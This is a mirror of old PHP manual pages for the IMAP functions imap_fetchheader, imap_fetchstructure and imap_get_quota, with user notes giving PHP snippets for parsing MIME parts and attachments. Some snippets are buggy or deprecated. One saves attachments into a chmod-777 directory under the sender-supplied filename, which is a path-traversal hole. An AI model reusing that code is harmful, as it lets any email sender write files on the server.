With regard to message/rfc822 parts, it appears that the IMAP c-client that PHP uses does not follow the IMAP RFC (#2060) correctly.  The RFC specifies that to grab the headers for a message/rfc822 part, you would request part "2.HEADER" (assuming 2 is your part number), and the full text of the part would be "2.TEXT".  Instead, "2.0" will grab the headers, and just "2" will get the text.
sborrill at precedence dot co dot uk
10-Aug-2000 04:35
In reference to the naming and numbering of an IMAP message, the IMAP4 spec can be found at http://www.imap.org/papers/docs/rfc2060.html

The relevant section is 6.4.5
cleong at organic dot com
05-Apr-2000 12:19
Here's a routine that yields the part of a message with a particular MIME type:

<PRE>
function get_mime_type(&$structure)
{
$primary_mime_type = array("TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO", "OTHER");
if($structure->subtype)
 {
 return $primary_mime_type[(int) $structure->type] . '/' . $structure->subtype;
 }
return "TEXT/PLAIN";
}

function get_part($stream, $msg_number, $mime_type, $structure = false, $part_number = false)
{
if(!$structure)
 {
 $structure = imap_fetchstructure($stream, $msg_number);
 }
if($structure)
 {
 if($mime_type == get_mime_type($structure))
  {
  if(!$part_number)
   {
   $part_number = "1";
   }
  $text = imap_fetchbody($stream, $msg_number, $part_number);
  if($structure->encoding == 3)
   {
   return imap_base64($text);
   }
  else if($structure->encoding == 4)
   {
   return imap_qprint($text);
   }
  else
   {
   return $text;
   }
  }
 if($structure->type == 1) /* multipart */
  {
  while(list($index, $sub_structure) = each($structure->parts))
   {
   if($part_number)
   {
   $prefix = $part_number . '.';
   }
   $data = get_part($stream, $msg_number, $mime_type, $sub_structure, $prefix . ($index + 1));
   if($data)
   {
   return $data;
   }
   }
  }
 }
return false;
}

// get plain text
$data = get_part($stream, $msg_number, "TEXT/PLAIN");
// get HTML text
$data = get_part($stream, $msg_number, "TEXT/HTML");

</PRE>

Right now only the first part with the matching MIME type is returned. A more useful version would create an array and return all matching parts (for GIFs, for instance).
add a note add a note

后退 | 起点 | 前进
imap_fetch_overview | 上一级 | imap_fetchheader


imap_fetchheader

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

imap_fetchheader -- Returns header for a message

Description

string imap_fetchheader ( resource imap_stream, int msgno [, int options] )

This function causes a fetch of the complete, unfiltered RFC2822 format header of the specified message as a text string and returns that text string.

The options are:

  • FT_UID - The msgno argument is a UID

  • FT_INTERNAL - The return string is in "internal" format, without any attempt to canonicalize to CRLF newlines

  • FT_PREFETCHTEXT - The RFC822.TEXT should be pre-fetched at the same time. This avoids an extra RTT on an IMAP connection if a full message text is desired (e.g. in a "save to local file" operation)

add a note add a note User Contributed Notes
dj_doktor at upskirt dot cz
03-Apr-2005 10:17
I spend lot of time find out how I can detect messages with
different priorities. When I read users notes I remember
function imap_fetchheader which show header of message
and additional headers too. Because I'm so lazy to work with
regular expressions I required my frend for writing code
- thanx Znouza.
And there is... :)

<?php
   // connecting to imap mailserver
   $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

   // get imap_fetch header and put single lines into array
   $header = explode("\n", imap_fetchheader($connection, 1));

   // browse array for additional headers
   if (is_array($header) && count($header)) {
       $head = array();
       foreach($header as $line) {
           // is line with additional header?
           if (eregi("^X-", $line)) {
               // separate name and value
               eregi("^([^:]*): (.*)", $line, $arg);
               $head[$arg[1]] = $arg[2];
           }
       }
   }

   // now are all contained additional headers in array $head
?>
add a note add a note

后退 | 起点 | 前进
imap_fetchbody | 上一级 | imap_fetchstructure


imap_fetchstructure

(PHP 3, PHP 4, PHP 5)

imap_fetchstructure -- Read the structure of a particular message

Description

object imap_fetchstructure ( resource imap_stream, int msg_number [, int options] )

This function fetches all the structured information for a given message. The optional options parameter only has a single option, FT_UID, which tells the function to treat the msg_number argument as a UID. The returned object includes the envelope, internal date, size, flags and body structure along with a similar object for each mime attachment. The structure of the returned objects is as follows:

表格 1. Returned Objects for imap_fetchstructure()

type | Primary body type
encoding | Body transfer encoding
ifsubtype | TRUE if there is a subtype string
subtype | MIME subtype
ifdescription | TRUE if there is a description string
description | Content description string
ifid | TRUE if there is an identification string
id | Identification string
lines | Number of lines
bytes | Number of bytes
ifdisposition | TRUE if there is a disposition string
disposition | Disposition string
ifdparameters | TRUE if the dparameters array exists
dparameters | An array of objects where each object has an "attribute" and a "value" property corresponding to the parameters on the Content-disposition MIMEheader.
ifparameters | TRUE if the parameters array exists
parameters | An array of objects where each object has an "attribute" and a "value" property.
parts | An array of objects identical in structure to the top-level object, each of which corresponds to a MIME body part.

表格 2. Primary body type

0 | text
1 | multipart
2 | message
3 | application
4 | audio
5 | image
6 | video
7 | other

表格 3. Transfer encodings

0 | 7BIT
1 | 8BIT
2 | BINARY
3 | BASE64
4 | QUOTED-PRINTABLE
5 | OTHER

See also: imap_fetchbody().

add a note add a note User Contributed Notes
oersoep at gmail dot com
30-Jan-2006 03:58
Please keep in mind that the "parameters" array is a stdClass object when there are no parameters, and NOT a zero-size array.
In PHP5 you'll get this error when iterating structure->parts[x]->parameters if there aren't any parameters for this part:

PHP Fatal error:  Cannot use object of type stdClass as array in file.php on line 100
sirber at detritus dot qc dot ca
05-Jan-2006 03:48
"Primary body type" of "unknown/unknown" will be int(9).
hans at lintoo dot dk
22-Sep-2005 10:07
To fetch a single part (for example to investigate a charset or something like that)

<?php
class StructureEngine {
   private $structureObject;
   public function __construct($structureInfo) {
       $this->structureObject = $structureInfo;

   }

   // snip....

   public function getPart($partNum) {
       $path = split("[.]",$partNum);
       $currentPart = $this->structureObject;
       foreach ($path as $key => $num) {
           $currentPart = $currentPart->parts[$num-1];
       }
       return $currentPart;
   }
}
?>
hans at lintoo dot dk
22-Sep-2005 09:14
A class for searching through a stucture object.
You can search matching 1-3 parameters or use the methods included.
Feel free to use it, correct it or extend it if you please. Enjoy!

http://lintoo.dk/public/structureengine.class.phps

The code was too wide for this manual, so I hope the link above will do. Here a quick overview instead:

<?php
class StructureEngine {
   private $structureObject;
   public function __construct($structureInfo) {}
   public function locatePlain() {}
   public function locateHTML() {}
   public function locateAttachments() {}
   private function checkParam($part, $type, $value) {}
   private function findParts($partsArray, $prefix, $param1Type = 'type', $param1Value = 0, $param2Type = null, ...) {}
}
?>
john at vetsurgeon dot org dot uk
05-Jul-2005 12:07
A little script I threw together to break a message down and process it into a usable array

<?
//script will fetch an email identified by $msgid, and parse the its parts into an
//array $partsarray
//structure of array:
//$partsarray[<name of part>][<attachment/text>]
//if attachment- subarray is [filename][binary data]
//if text- subarray is [type of text(HTML/PLAIN)][text string]

//i.e.
//$partsarray[3.1][attachment][filename]=filename of attachment in part 3.1
//$partsarray[3.1][attachment][binary]=binary data of attachment in part 3.1
//$partsarray[2][text][type]=type of text in part 2
//$partsarray[2][text][string]=decoded text string in part 2
//$partsarray[not multipart][text][string]=decoded text string in message that isn't multipart

function parsepart($p,$i){
   global $link,$msgid,$partsarray;
   //where to write file attachments to:
   $filestore = '[full/path/to/attachment/store/(chmod777)]';

   //fetch part
   $part=imap_fetchbody($link,$msgid,$i);
   //if type is not text
   if ($p->type!=0){
       //DECODE PART
       //decode if base64
       if ($p->encoding==3)$part=base64_decode($part);
       //decode if quoted printable
       if ($p->encoding==4)$part=quoted_printable_decode($part);
       //no need to decode binary or 8bit!

       //get filename of attachment if present
       $filename='';
       // if there are any dparameters present in this part
       if (count($p->dparameters)>0){
           foreach ($p->dparameters as $dparam){
               if ((strtoupper($dparam->attribute)=='NAME') ||(strtoupper($dparam->attribute)=='FILENAME')) $filename=$dparam->value;
               }
           }
       //if no filename found
       if ($filename==''){
           // if there are any parameters present in this part
           if (count($p->parameters)>0){
               foreach ($p->parameters as $param){
                   if ((strtoupper($param->attribute)=='NAME') ||(strtoupper($param->attribute)=='FILENAME')) $filename=$param->value;
                   }
               }
           }
       //write to disk and set partsarray variable
       if ($filename!=''){
           $partsarray[$i][attachment] = array('filename'=>$filename,'binary'=>$part);
           $fp=fopen($filestore.$filename,"w+");
           fwrite($fp,$part);
           fclose($fp);
           }
   //end if type!=0
   }

   //if part is text
   else if($p->type==0){
       //decode text
       //if QUOTED-PRINTABLE
       if ($p->encoding==4) $part=quoted_printable_decode($part);
       //if base 64
       if ($p->encoding==3) $part=base64_decode($part);

       //OPTIONAL PROCESSING e.g. nl2br for plain text
       //if plain text

       if (strtoupper($p->subtype)=='PLAIN')1;
       //if HTML
       else if (strtoupper($p->subtype)=='HTML')1;
       $partsarray[$i][text] = array('type'=>$p->subtype,'string'=>$part);
   }

   //if subparts... recurse into function and parse them too!
   if (count($p->parts)>0){
       foreach ($p->parts as $pno=>$parr){
           parsepart($parr,($i.'.'.($pno+1)));
           }
       }
return;
}

//open resource
$link=imap_open("{localhost:110/pop3}INBOX",'[YOUR USERNAME]','[YOUR PASSWORD]');

//fetch structure of message
$s=imap_fetchstructure($link,$msgid);

//see if there are any parts
if (count($s->parts)>0){
foreach ($s->parts as $partno=>$partarr){
   //parse parts of email
   parsepart($partarr,$partno+1);
   }
}

//for not multipart messages
else{
   //get body of message
   $text=imap_body($link,$msgid);
   //decode if quoted-printable
   if ($s->encoding==4) $text=quoted_printable_decode($text);
   //OPTIONAL PROCESSING
   if (strtoupper($s->subtype)=='PLAIN') $text=$text;
   if (strtoupper($s->subtype)=='HTML') $text=$text;

   $partsarray['not multipart'][text]=array('type'=>$s->subtype,'string'=>$text);
}

print_r($partsarray);
?>
masterbassist
19-Apr-2005 12:52
I think the following line (when building attachment information)

>>> "filename" => $parts[$i]->parameters[0]->value

needs to be

>>> "filename" => $parts[$i]->dparameters[0]->value

The first version generated a PHP warning under PHP 5.0.3.  The second version actually gets the filename.
spam at emielmols dot info
01-Apr-2005 07:47
I've created a function which simply extracts basic message content as a string ($content) and attachments as an array ($attachments). I've tested it with messages from Outlook, Outlook Express and Hotmail. Perhaps it's useful to anyone.

<?php
       $struct = imap_fetchstructure($mbox, $mid);

       $parts = $struct->parts;
       $i = 0;

       if (!$parts) { /* Simple message, only 1 piece */
         $attachment = array(); /* No attachments */
         $content = imap_body($mbox, $mid);
       } else { /* Complicated message, multiple parts */

         $endwhile = false;

         $stack = array(); /* Stack while parsing message */
         $content = "";    /* Content of message */
         $attachment = array(); /* Attachments */

         while (!$endwhile) {
           if (!$parts[$i]) {
             if (count($stack) > 0) {
               $parts = $stack[count($stack)-1]["p"];
               $i    = $stack[count($stack)-1]["i"] + 1;
               array_pop($stack);
             } else {
               $endwhile = true;
             }
           }

           if (!$endwhile) {
             /* Create message part first (example '1.2.3') */
             $partstring = "";
             foreach ($stack as $s) {
               $partstring .= ($s["i"]+1) . ".";
             }
             $partstring .= ($i+1);

             if (strtoupper($parts[$i]->disposition) == "ATTACHMENT") { /* Attachment */
               $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                     "filedata" => imap_fetchbody($mbox, $mid, $partstring));
             } elseif (strtoupper($parts[$i]->subtype) == "PLAIN") { /* Message */
               $content .= imap_fetchbody($mbox, $mid, $partstring);
             }
           }

           if ($parts[$i]->parts) {
             $stack[] = array("p" => $parts, "i" => $i);
             $parts = $parts[$i]->parts;
             $i = 0;
           } else {
             $i++;
           }
         } /* while */
       } /* complicated message */

       echo "Analyzed message $mid, result: <br />";
       echo "Content: $content<br /><br />";
       echo "Attachments:"; print_r ($attachment);
?>
y dot daradkeh at gmail dot com
20-Dec-2004 11:40
Hey people, get the message attachments with this code:

<?php

$mbox = imap_open("$imap_server".$f,$name,$pass);

// delibertely choose a message with an attachment

$info = imap_fetchstructure($mbox, $mno);

// find out how may parts the object has
$numparts = count($info->parts);

$i=0;
// find if multipart message
if ($numparts >1)
{
   echo "<b>More than one part</b><br><br>";

   foreach ($info->parts as $part)
   {
     if ($part->disposition == "INLINE")
         printf("Inline message has %s lines<BR>", $part->lines);
     elseif ($part->disposition == "attachment")
     {
       $i++;
       echo $i." Attachment/s found!<br>";
       echo "Filename: ".$part->dparameters[0]->value."<br><br>";
     }
   }
}
else
   echo "Only one part";

imap_close($mbox);
?>
aperez at informatica dot 24ruedas dot com
17-Jun-2004 03:10
About above comment and source code I wrote: certainly, plain/html text files are attachments, but I've written my code thinking about web IMAP clients, where text parts are not for downloading, simply they are shown. That's the reason.

Thanks anyway. :)
passeniermaxime at hotmail dot com
15-Jun-2004 11:15
I have written a code that check's for attachments.
There is a slight problem with the above code;
when you send a mail with a .txt document as attachment
the type will be 0 and so there won't be a attachment found.

I check for the disposition of the body part witch can be inline or attachment.
If this is an attachment he will display it.
You an also mix up both codes by checking on the type and the disposition.

//////////////////////////////////
///  $mbox = connection
///  $a_mails_sort[$i] = message id

$structuur = imap_fetchstructure($mbox,$a_mails_sort[$i]);
$bericht_delen=$structuur->parts;
for($i_delen = 0; $i_delen<=count($bericht_delen);$i_delen++)
  {
  if($bericht_delen[$i_delen]->disposition == "attachment")
   {
   $attachment = "OK";
   }// end if
  }//end for
aperez at informatica dot 24ruedas dot com
26-May-2004 03:12
This is my function to check attachments:

<?php
  $est=imap_fetchstructure($con,$msg);

  if(checkAttachments($est))
  {
   echo("You have attachment(s)");
  }
  else
  {
   echo("You don't have attachment(s)");
  }

  function checkAttachments($estMsg)
  {
   if(($estMsg->type!=0) && ($estMsg->type!=1))
   {
     // Text and multipart parts will not be shown as attachments
     return(true);
   }
   else
   {
     // If there's no attachments, parts inside will be checked
     if($estMsg->parts)
     {
       $partMsg=$estMsg->parts;
       $i=0;
       // Parts will be checked while no attachments found or not all of them checked
       while(!(checkAttachments($partMsg[$i])) && ($i<sizeof($estMsg->parts)))
       {
         $i++;
       }

       // If any 'checkAttachment' calls returned 'true', 'i' should be
       // equal to number of parts(after increased in while). So, no
       // attachments found
       if($i==sizeof($estMsg->parts))
       {
         return(false);
       }
       else
       {
         return(true);
       }
     }
     else
     {
       // If no parts and text or multipart type, no attachments
       return(false);
     }
   }
  }
  imap_close($con);
?>

I hope this helps somebody else(if bugs, thanks for your fixes).
richy at smilingsouls dot net
28-Jan-2004 07:08
After many long hours of pouring over the object returned by imap_fetchstructure() I came up with the solution posted at the following url:

http://p2p.wrox.com/topic.asp?TOPIC_ID=9063

The url above provides an example of how to access variables in the object returned by imap_fetchstructure().  This class creates an object with member variables containing the correct part numbers which are compatible with the imap_fetchbody() function.

The structure returned looks something like this:

                       0 Raw Headers
$this->pid[$mid][0]  =  1 text/plain                        top level message
$this->pid[$mid][1]  =  2 message/rfc822                    entire unparsed message
                                                             multipart/mixed - part is skipped!
                           2.0 Raw Headers
$this->pid[$mid][2]  =      2.1 multipart/alternative      contains unparsed contents of next subpart (text/plain && text/html)
                               2.1.0 Raw Headers
$this->pid[$mid][3]  =          2.1.1 text/plain            2nd level inline embedded message
$this->pid[$mid][4]  =          2.1.2 text/html

$this->pid[$mid][5]  =      2.2 message/rfc822              entire unparsed message
                                                             multipart/mixed - part is skipped!
                               2.2.0 Raw Headers
$this->pid[$mid][6]  =          2.2.1 multipart/alternative
$this->pid[$mid][7]  =              2.2.1.1 text/plain      3rd level inline embedded message
$this->pid[$mid][8]  =              2.2.1.2 text/html
$this->pid[$mid][9]  =            2.2.2 image/jpeg
$this->pid[$mid][10] =            2.2.3 image/jpeg
$this->pid[$mid][11] =            2.2.4 image/jpeg
$this->pid[$mid][12] =            2.2.5 image/gif

Its important to note why multipart/related, multipart/mixed and certain multipart/alternative (if parent part is message/rfc822 && not multipart/mixed) parts are skipped, imap_fetchbody **does not** retreive a message part for these parts.  Which isn't a bug, as I have read in other places, these parts exist for the purpose of designing the viewer portion of a mail application.  Also, headers aren't assigned part numbers here because they are easy to pick out.

: )
Rich
chrislhill at "O_o" hotmail dot com
24-Oct-2003 02:36
For people just beging this may help alot as I spent a couple hours just trying to relize how exact the array was stored. (at the time I did not know the print_r function :P)

$struct = imap_fetchstructure($mbox, $msgnumber);
print_r($struct);

Will give you a better example for your messages but they are called as $struct using the varible method above.

$struct->type; //would return the type
$struct->encoding //would return the encoding

and etc..

This can be done many different ways but that is the basics on pulling the info out of the structure of fetchstructure itself, I hope it helps someone starting because it wouldve helped me :/.
es96 at hotmail dot com
13-Aug-2003 05:38
If you are getting CHARSET as US-ASCII even if the header has a Content-Type: field, make sure the header also has a MIME-Version: field.

For example, the following header will correcty report charset as KOI8-R

MIME-Version: 1.0
Content-Type: text/plain; charset="koi8-r"

Without the MIME-Version it will be reported as US-ASII
as1 at powersite dot com dot ar
31-Dec-2002 05:57
Sorry, my before code is not complet:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
  $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
  $j = 1;
  while( imap_fetchbody( $conn, $curMsg, "$i.$j" ) ){
   $struct->parts[$i-1]->parts[$j-1] = imap_bodystruct( $conn, $curMsg, "$i.$j" );
   $j++;
   }
  $i++;
}
as1 at powersite dot com dot ar
31-Dec-2002 05:01
If your imap_fetchstructure not retrive all parts, write it:

$struct = imap_fetchstructure( $conn, $curMsg );

$i = 1;
while( imap_fetchbody( $conn, $curMsg, $i ) ){
   $struct->parts[$i-1] = imap_bodystruct( $conn, $curMsg, $i );
   $i++;
}
paradise at ml75 dot com
04-Dec-2002 11:40
I'm using freeBSD and had lots of problems with all functions/mail applications i could find on the net...

So i'm writing my own now..

Most of the stuff works fine now.. but i'm still working on the chooser to select the best part to show. (plain or HTML).

The #1 problem is that most functions give the wrong ID numbers beck to fetch the body.

Here's a sollution to that problem.. :P

// Debug function.. always handy until it's 100% completed..
   $attachments = array(); $dispos=0;
   $debug=true;
   function doDebug($msg){
     global $debug, $debug_depth, $dispos;
     if($debug){
         for($y = 0; $y < $debug_depth; $y++) echo("&nbsp;&nbsp;&nbsp;&nbsp;");
         if($dispos == 0) echo($msg."<br/>"); else echo("<i>".$msg."</i><br/>");
     }
   }

   function Check_Part($part,$id){
     global $attachments, $debug, $debug_depth, $dispos; $ans=sizeof($attachments);
     doDebug("+Checking part $id");
     $debug_depth++;
     doDebug("Parttype=".$part->type ."/". mimetype($part->type) ."/". $part->subtype);

     if($part->ifdisposition){ $dispos++; doDebug("<b>Disposition</b>"); }
     if($part->ifdescription){ doDebug("<b>Description=".$part->description."</b>"); }

         switch($part->type){
           case 1: if((strtolower($part->subtype) == "mixed")
                       or (strtolower($part->subtype)  == "alternative")
                       or (strtolower($part->subtype) == "related")) break;

           default: $an = sizeof($attachments);
                   if($part->ifdparameters){
                       $dpara = $part->dparameters;
                       for ($v=0;$v<sizeof($dpara);$v++){
                         if (eregi("filename", $dpara[$v]->attribute))
                             $fname = $dpara[$v]->value;}
                   }
                   if($part->ifparameters){
                       if(empty($fname)){
                         $para = $part->parameters;
                         for ($v=0;$v<sizeof($para);$v++){
                             if (eregi("name", $para[$v]->attribute)) $fname = $para[$v]->value;
                         }
                       }
                   }
                   if(empty($fname))$fname = "Onbekend";

                 $attachments[$an]->id = ($an+1);
                 $attachments[$an]->part = $id;
                   $attachments[$an]->filename = $fname;
                   $attachments[$an]->type=$part->type;
                   $attachments[$an]->subtype=$part->subtype;
                   $attachments[$an]->dispos=$dispos;
                   $attachments[$an]->size=$part->bytes;
                 doDebug("Filename=".$attachments[$an]->filename); break;
         }

     for($x = 0; $x < count($part->parts); $x++){
         Check_Part($part->parts[$x], $id.".".($x+1));
     }
     doDebug("Dit deel had iets nuttigs.");
     if($part->ifdisposition) $dispos--;
     $debug_depth--;
     doDebug("-End of part $id");
   }

   function decode_mail($mbox, $msg){
     global $attachments, $debug, $debug_depth;
     doDebug("+Decoding message $msg"); $debug_depth++;
     $obj = imap_fetchstructure($mbox, $msg, FT_UID); $moet_werken=true; $id=1;
     while($moet_werken){
         Check_Part($obj, $id);

         $moet_werken=false;
     }
     $debug_depth--; doDebug("-End of message $msg");
   }

Now to get this to work..
Decode_Mail([Mailbox connection], [Message Number]);

this is the outpu attachment array..
1--1.1.1--Onbekend--0--PLAIN--0--31
2--1.1.2--Onbekend--0--HTML--0--29
3--1.2--Beschrijving Nieuw E.doc--3--MSWORD--1--613718
--------------------------------------

PS.. "Onbekend" is dutch for "Unknown".

Good luck.
Paradise (www.ml75.nl)
theUNDERSCOREVoodooChileADGMXdotNET
25-Oct-2002 08:21
you can easily see through everything with these functions:

function printarray($array){
  while(list($key,$value) = each($array)){
   if(is_array($value)){
     echo $key."(array):<blockquote>";
     printarray($value);//recursief!!
     echo "</blockquote>";
   }elseif(is_object($value)){
     echo $key."(object):<blockquote>";
     printobject($value);
     echo "</blockquote>";
   }else{
     echo $key."==>".$value."<br />";
   }
  }
}

function printobject($obj){
  $array = get_object_vars($obj);
  printarray($array);
}

end then do this:

  $struct = imap_fetchstructure($box,$mailnr);
  //$struct is een object!!
  drukobjectaf($struct);

you get an extended tree-view into the hierarchie of objects and arrays
Comparing different mails(changing thenumber) may bring more clarity into this matter

(these functions may not work properly as they are translated from my dutch original, but they ought to be OK)
jcastro at elnuevodia dot com
21-Sep-2002 04:16
I think the above note about attachments is wrong. I tested sending files with and without attachments and I get the following<br>
with attachment: type=3 bytes=343648
no attachment: type=0 bytes=2
so checking for $struct->bytes == " " means nothing. At least in my test
running windows 2000, php4.2.1 using outlook and exchange. It seems that cheking the type will be more reliable
20-Sep-2002 06:20
This function sets MIME charset
parameter value to US-ASCII when
either Content-Type header is missing
or Content-Type header doesn't have
charset parameter. This may be compliant
to RFC 822, but this poses
a problem for  a calling function that
has to deal with untagged messages
in MIME charset other than US-ASCII.
To work around this,  US-ASCII
has to be treated as the absence of MIME charset.
kmakaveev(at)yahoo(dot)com
25-Jun-2002 10:29
There's a little mistake in the code above!
The second echo must return "The message has no attachment!".
And that code must have some some additional  thing to work properly! Maybe I must use ->parts to determine how many parts has a particular message!
kmakaveev(at)yahoo(dot)com
25-Jun-2002 02:54
There's a simple way to check weither a particular mail message has an attachment or not. I'm not sure that it is 100% true but here it is a sample code:
<?
$msg_structure = imap_fetchstructure($mail_inbox, $msg_id);
if($msg_structure->bytes == "")
{
echo "The message has attachment!";
}
else
{
echo "The message has attachment!";
}
?>
Please, test this code and let me know is it working properly or not! Thanks in advance!
kmakaveev(at)yahoo(dot)com
25-Jun-2002 01:18
For El_Carlos:
Check this URL:
http://www.devshed.com/Server_Side/PHP/PHPMail
Enjoy!!!
elcarlos at skaainet dot be
23-Jun-2002 06:11
Somebody must include some good examples of how to decode a message with and without an attachement.

I'm writing a web based email, and it wasn't verry easy for me to understand that part.
After a week of searching I still don't get it very well, but now (I think and hope) I'm able to write it...

Yet I'm not that good with it, so I'm not able to put an example in it myself...

Regards,
El_Carlos
trionon at mail dot ru
23-Feb-2002 12:42
It's better to use special constants instead of digits for primary content-type:

       TYPETEXT                unformatted text
       TYPEMULTIPART          multiple part
       TYPEMESSAGE            encapsulated message
       TYPEAPPLICATION        application data
       TYPEAUDIO              audio
       TYPEIMAGE              static image (GIF, JPEG, etc.)
       TYPEVIDEO              video
       TYPEOTHER              unknown

These constants are documented in the source code of IMAP extension but they are still undocumented here :(
php AT firstnetimpressions.com
19-Feb-2002 05:15
Point of clarification:

The seventh primary body type is not "Other" as documented, but actually "Model".  This encompasses IGES, VRML, MESH, DWF, etc.

http://www.isi.edu/in-notes/iana/assignments/media-types/media-types

"Other" is the eigth primary body type.
mkknapp at quadrapod dot com
26-Apr-2001 09:48
Assuming $struct = imap_fetchstructure($x,$y);

It is important to note that if a message has NO attachements, $struct->parts is an empty array, and $struct->bytes has a value.  If a message as ANY attachements, $struct->bytes ALWAYS = 0. To get the size of the primary body, you have to call structure->part[0]->bytes.  To get the size of the whole message, either strlen(imap_body) or add up the ->bytes of all the parts.

Another interesting note:
When there is body text and no attachements:
count($struct->parts) = 0
When there is body text and 1 attachement:
count($struct->parts) = 2

These imap functions could really use better documentation. Like giving the meathods for the dparameter and parameter classes...
jbrandt at europa dot com
17-Apr-2001 06:45
Parsing the recursive object returned from imap_fetchstructure is easy. However trying to figure out the name of the section to pass to imap_fetchbody() isn't quite so straight forward because the naming conventions for the MIME sections are odd. If you copy and paste the following function you can pass an UID of an IMAP message and it will print out a hierarchy of the message and label each section.

The only required parameters are $mbox and $em_uid. The other parameters are used when the function needs to call itself.

Two functions mime_encoding() and mime_type() are not included. All they do is return string for the integer represention of a mime type/encoding.

function imap_dbody($mbox, $em_uid, $mimeobj, $depth = 0, $section = 0)
{
       // If this is the first run of the function then grab a object of the MIME structure of the message

       if($section == 0) $mimeobj = imap_fetchstructure($mbox, $em_uid, FT_UID);

       for($y = 0; $y < $depth; $y++) echo("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;");

       echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
       echo(mime_encoding($mimeobj->encoding) . " (<B>$section</B>)<BR>");

       for($x = 0; $x < count($mimeobj->parts); $x++)
       {
               // If we are in the root of the object increment by whole integers

               if($section == 0) $nsection = $x + 1;

               // If we are in the object and the first sub-object of our object isn't multipart
               // then increment the postfix by ".1" otherwise we are multipart or a message
               // and leave the section id alone to be handled by the next code block

               else if(($pos = strrpos($section, ".")) && $mimeobj->parts[0]->type != TYPEMULTIPART)
                       $nsection = substr($section, 0, $pos) . "." . ($x + 1);
               else
                       $nsection = $section;

               // If there are more parts to the part about to be processed reference it as a header with ".0"
               // but only if the child of this child isn't MULTIPART

               if(count($mimeobj->parts[$x]->parts))
               {
                       // Funny really, if a mime section is a inline message that has a multipart body you reference the message
                       // mime section with "2" the inline message header with "2.0" and the subsections with "2.x"
                       // However if the mime section is a inline message with only 1 part then you reference the
                       // mime section in the message with 2.0 and the inline message body with 2.1

                       if(!($mimeobj->parts[$x]->type == TYPEMESSAGE && $mimeobj->parts[$x]->parts[0]->type == TYPEMULTIPART))
                               $nsection .= ".0";
                       else
                               $nsection .= "";
               }

               imap_dbody($mbox, $em_uid, $mimeobj->parts[$x], $depth + 1, $nsection);

       }

       // If after processing the entire MIME object the $x variable is still zero then we didn't
       // process a multipart mime message, it's just normal email so say so here.

       if($x == 0 && $section == 0)
       {
               echo(mime_type($mimeobj->type) . "/{$mimeobj->subtype}, ");
               echo(mime_encoding($mimeobj->encoding) . " (<B>1</B>) (<B>NOT MIME MULTIPART</B>)<BR>");
       }
}
vksgeneric at hotmail dot com
03-Feb-2000 09:22
It looks like some clients (e.g. outlook) can attach a file that has two mime-types associated with it, like:
<PRE>Content-Type: model/vrml,x-world/x-vrml
</PRE>
This bombs the parsing procedure somewhere in c-client, I guess, and as a result ifparameters is set to false for the respective part, and you can not retrieve filename, mimetype, or any other parameters.
matt at bonneau dot net
19-Jan-2000 02:30
List of MIME types is at
http://www.isi.edu/in-notes/iana/assignments/media-types/media-types
matt at bonneau dot net
19-Jan-2000 02:22
Function to figure out this stuff:
http://www.bitsense.net/PHPNotes/IMAP/imap_fetchstructure.asp
justinc at andrew dot cmu dot edu
12-Jan-2000 11:49
haven't read any rfc's on it, but Pine is showing a message with an attachment with type = 9 to be type BINARY...
matt at bonneau dot net
01-Jan-2000 06:53
The documentation appears to be incorrect in stating that objects in the parts array cannot have another parts array in them.  I have found the parts can be recursive.
hholzgra at media-engineering dot de
16-Dec-1999 05:59
the parts objects are identical in
structure to those returned by imap_fetchstructure, describing one subfolder each

parameters and dparameters are MIME-specific, theese contain the
extra parameters provided in the Content-Type and Content-Disposion Header lines such as Charset or Filename
add a note add a note

后退 | 起点 | 前进
imap_fetchheader | 上一级 | imap_get_quota


imap_get_quota

(PHP 4 >= 4.0.5, PHP 5)

imap_get_quota -- Retrieve the quota level settings, and usage statics per mailbox

Description

array imap_get_quota ( resource imap_stream, string quota_root )

Returns an array with integer values limit and usage for the given mailbox. The value of limit represents the total amount of space allowed for this mailbox. The usage value represents the mailboxes current level of capacity. Will return FALSE in the case of failure.

This function is currently only available to users of the c-client2000 or greater library.

NOTE: For this function to work, the mail stream is required to be opened as the mail-admin user. For a non-admin user version of this function, please see the imap_get_quotaroot() function of PHP.

imap_stream should be the value returned from an imap_open() call. NOTE: This stream is required to be opened as the mail admin user for the get_quota function to work. quota_root should normally be in the form of user.name where name is the mailbox you wish to retrieve information about.

例子 1. imap_get_quota() example

<?php
$mbox = imap_open("{your.imap.host}", "mailadmin", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota_value = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_value)) {
    echo "Usage level is: " . $quota_value['usage'];
    echo "Limit level is: " . $quota_value['limit'];
}

imap_close($mbox);
?>

As of PHP 4.3, the function more properly reflects the functionality as dictated by the RFC 2087. The array return value has changed to support an unlimited number of returned resources (i.e. messages, or sub-folders) with each named resource receiving an individual array key. Each key value then contains an another array with the usage and limit values within it. The example below shows the updated returned output.

For backwards compatibility reasons, the original access methods are still available for use, although it is suggested to update.

例子 2. imap_get_quota() 4.3 or greater example

<?php
$mbox = imap_open("{your.imap.host}", "mailadmin", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$quota_values = imap_get_quota($mbox, "user.kalowsky");
if (is_array($quota_values)) {
   $storage = $quota_values['STORAGE'];
   echo "STORAGE usage level is: " .  $storage['usage'];
   echo "STORAGE limit level is: " .  $storage['limit'];

   $message = $quota_values['MESSAGE'];
   echo "MESSAGE usage level is: " .  $message['usage'];
   echo "MESSAGE limit is: " .  $message['limit'];

   /* ...  */
}

imap_close($mbox);
?>

See also imap_open(),
imap_set_quota() and
imap_get_quotaroot().

add a note add a note User Contributed Notes
Shiraz Esat
21-Dec-2004 01:40
For this function to work your IMAP server must also have the 'getquota' capability!

Check this by logging in directly:
telnet <mail server> <port>

e.g. telnet mail.myserver.com 143

and then once you're connected to the server
0 CAPABILITY
dc at aufruhr dot com
19-Jul-2003 07:26
ok, this error just occurs if there are no quotas on your mailbox.

same with imap_get_quotaroot().
add a note add a note

后退 | 起点 | 前进
